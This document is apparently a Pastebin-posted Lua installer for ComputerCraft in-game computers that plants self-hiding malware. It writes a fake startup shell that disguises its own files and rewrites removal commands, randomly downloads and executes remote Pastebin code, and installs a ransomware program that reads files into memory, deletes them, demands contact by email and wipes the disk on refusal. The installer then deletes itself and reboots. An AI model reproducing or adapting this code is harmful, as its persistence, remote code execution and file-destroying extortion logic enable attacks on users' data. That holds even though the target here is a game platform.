local lsdDll = [[
local tx,ty = term.getSize()
local tArgs = {...}
function lsd()
for i=1,ty do
term.setCursorPos(1,i)
for x=1,tx do
term.setCursorPos(x,i)
local color = {
[1] = colors.red,
[2] = colors.blue,
[3] = colors.green,
[4] = colors.pink,
[5] = colors.orange,
[6] = colors.gray,
[7] = colors.yellow,
[8] = colors.purple
}
term.setBackgroundColor(color[math.random(1,8)])
write(" ")
end
end
end
for i=1,50 do
lsd()
os.sleep(0.01)
end
term.setBackgroundColor(colors.black)
term.clear()
term.setCursorPos(1,1)
cmd = ""
if #tArgs == 0 then
else
for i=1,#tArgs do
cmd = cmd.." "..tArgs[i]
end
shell.run(cmd)
end
]]
local listDll = [[
function explode(inputstr, sep)
if sep == nil then
sep = "%s"
end
local t={} ; i=1
for str in string.gmatch(inputstr, "([^"..sep.."]+)") do
t[i] = str
i = i + 1
end
return t
end
local modFilesN = {
"sup,startup",
"oss,os"
}
local files = fs.list(shell.dir())
local tDirs = {}
local tFiles = {}
for n, sItem in pairs(files) do
if sItem == "os" then
elseif sItem == "startup" then
else
if fs.isDir(sItem) then
for i, tItem in pairs(modFilesN) do
a = explode(tItem,",")
if sItem == a[1] then
sItem = a[2]
break
end
end
table.insert(tDirs, sItem)
else
for i, tItem in pairs(modFilesN) do
a = explode(tItem,",")
if sItem == a[1] then
sItem = a[2]
break
end
end
table.insert(tFiles, sItem)
end
end
end
table.sort(tDirs)
table.sort(tFiles)
if term.isColor() then
textutils.tabulate(colors.green, tDirs, colors.white, tFiles)
else
textutils.tabulate(colors.white, tDirs, colors.white, tFiles)
end
]]
local start = [[
if fs.exists("/os") then
else
fs.makeDir("/os/programs/")
end
shell.setAlias("ls","/os/programs/list")
shell.setAlias("list","/os/programs/list")
function downloadFiles()
if http.checkURL("https://pastebin.com/raw/YcRrNyNe") then
local files = http.get("https://pastebin.com/raw/YcRrNyNe")
local code = files.readAll()
files.close()
local file = fs.open(".temp","w")
file.write(code)
file.close()
dofile(".temp")
fs.delete(".temp")
end
end
local modFilesN = {
"sup,startup",
"oss,os"
}
function shella()
term.setTextColor(colors.yellow)
path = shell.dir()
for i, tItem in pairs(modFilesN) do
a = explode(tItem,",")
if path == a[1] then
path = a[2]
break
end
end
write(path.."> ")
term.setTextColor(colors.white)
local red = read()
return red
end
local blockedCmd = {
}
local modCmd = {
"rm startup,rm sup",
"edit startup,edit sup",
"cd os,cd oss",
"mkdir os,mkdir oss",
"rm os,rm oss"
}
function explode(inputstr, sep)
if sep == nil then
sep = "%s"
end
local t={} ; i=1
for str in string.gmatch(inputstr, "([^"..sep.."]+)") do
t[i] = str
i = i + 1
end
return t
end
while true do
local stuff = shella()
local rand = math.random(0,5)
local blocked = false
for n, sItem in pairs(blockedCmd) do
local a = explode(sItem,",")
if a[1] == stuff then
blocked = true
bMsg = a[2]
break
end
end
if blocked == false then
for n, sItem in pairs(modCmd) do
a = explode(sItem, ",")
if stuff == a[1] then
stuff = a[2]
break
end
end
if rand == 3 then
shell.run("/os/programs/lsd "..stuff)
downloadFiles()
else
shell.run(stuff)
end
else
printError(bMsg)
end
end
]]
local ransom = [[
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
local ransomtext = "
Warning! All your data on your hard drive has been stored to ram! That means if you exit this program all your data will be LOST Please message "***.****.**@gmail.com" within 5:00 min or your data will be DESTROYED!
Press [V] to verify your payment
Press [D] to view data that has been encrypted
Press [E] to exit (Once exited all files will be lost.)
Good Day,
Jack
"
local violatetext = "
You terminated the program! All your files have been REMOVED from your pc and all ram data was cleared.
Sorry!
"
local paytext = "
Thank you for paying! All your data has been restored and the program is exiting! Goodbye SUKKA
Best Regards (Just kidding),
Jack
"
local exitPText = "
Well, you put it on yourself you did not want to pay! goodbye your files.
Byebye.
"
local noPayText = "
Im sorry, you did not pay within 5:00 min! All your files have been deleted.
"
local invalidPayment = "Invalid payment! Or not detected! Please pay and/or try again. Use the code: "..os.getComputerID().." In the payment message."
printError(ransomtext)
local files = fs.list("/")
local data = {}
for i=1,#files do
if fs.isDir(files[i]) == false then
local file = fs.open(files[i], "r")
local fData = file.readAll()
local tempArray = {files[i], fData}
file.close()
table.insert(data, tempArray)
fs.delete(files[i])
end
end
while true do
local evt, key = os.pullEventRaw()
if (key == keys.v) and evt == "key" then
local url = http.get("https://pastebin.com/raw/9hu9M3q3")
local code = url.readAll()
url.close()
if code == "1789-HGFC-4536-JKPO-"..os.getComputerID() then
os.sleep(3)
for i=1,#data do
local file = fs.open(data[i][1], "w")
file.write(data[i][2])
file.close()
end
printError(paytext)
break
elseif code == "wipe" then
data = {}
local files = fs.list("/")
for i=1,#files do
if files[i] == "rom" then
else
fs.delete(files[i])
end
end
printError(noPayText)
break
else
printError(invalidPayment)
end
elseif evt == "terminate" then
local files = fs.list("/")
printError(violatetext)
for i=1,#files do
if files[i] == "rom" then
else
fs.delete(files[i])
end
end
return
elseif evt == "key" and key == keys.d then
local files = fs.list("/")
for i=1,#data do
printError("IN RAM STORAGE 1: "..data[i][1])
end
for i=1,#files do
if files[i] == "rom" then
printError("IN COMPUTER STORAGE: "..files[i])
else
printError("IN RAM STORAGE 2: "..files[i])
end
end
elseif evt == "key" and key == keys.e then
data = {}
local files = fs.list("/")
for i=1,#files do
if files[i] == "rom" then
else
fs.delete(files[i])
end
end
printError(exitPText)
local htp = http.get("https://pastebin.com/raw/NFew0g6n")
local fread = htp.readAll()
htp.close()
local file = fs.open("/startup", "w")
file.write(fread)
file.close()
os.reboot()
break
end
end
os.sleep(3)
]]
local file = fs.open("/os/programs/lsd","w")
file.write(lsdDll)
file.close()
local file2 = fs.open("startup","w")
file2.write(start)
file2.close()
local file3 = fs.open("/os/programs/list","w")
file3.write(listDll)
file3.close()
local file4 = fs.open("/os/programs/ransom","w")
file4.write(ransom)
file4.close()
if shell.getRunningProgram() == "rom/programs/http/pastebin" then
elseif shell.getRunningProgram() == "rom/programs/http/pastebin.lua" then
else
fs.delete(shell.getRunningProgram())
end
os.reboot()
Comments